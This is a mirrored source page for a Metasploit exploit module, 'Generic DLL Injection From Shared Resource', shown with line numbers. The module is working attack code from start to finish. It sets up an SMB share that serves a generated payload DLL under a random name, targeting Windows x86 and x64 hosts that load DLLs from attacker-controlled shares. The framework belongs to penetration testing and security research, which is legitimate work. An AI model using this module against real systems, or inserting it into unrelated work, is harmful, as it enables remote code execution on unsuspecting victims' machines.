Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/generic_smb_dll_injection.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::SMB::Server::Share
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Generic DLL Injection From Shared Resource',
17
'Description' => %q{
18
This is a general-purpose module for exploiting conditions where a DLL can be loaded
19
from a specified SMB share. This module serves payloads as DLLs over an SMB service.
20
},
21
'Author' => [
22
'Matthew Hall <hallm[at]sec-1.com>'
23
],
24
'References' => [
25
['CWE', '114']
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'thread',
29
},
30
'Privileged' => false,
31
'Platform' => 'win',
32
'Arch' => [ARCH_X86, ARCH_X64],
33
'Payload' => {
34
'Space' => 2048,
35
'DisableNops' => true
36
},
37
'Targets' => [
38
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
39
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2015-03-04',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('FILE_NAME', [ false, 'DLL File name to share (Default: random .dll)'])
54
]
55
)
56
57
deregister_options('FILE_CONTENTS')
58
end
59
60
def setup
61
super
62
63
self.file_contents = generate_payload_dll
64
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
65
print_status("File available on #{unc}...")
66
end
67
end
68
69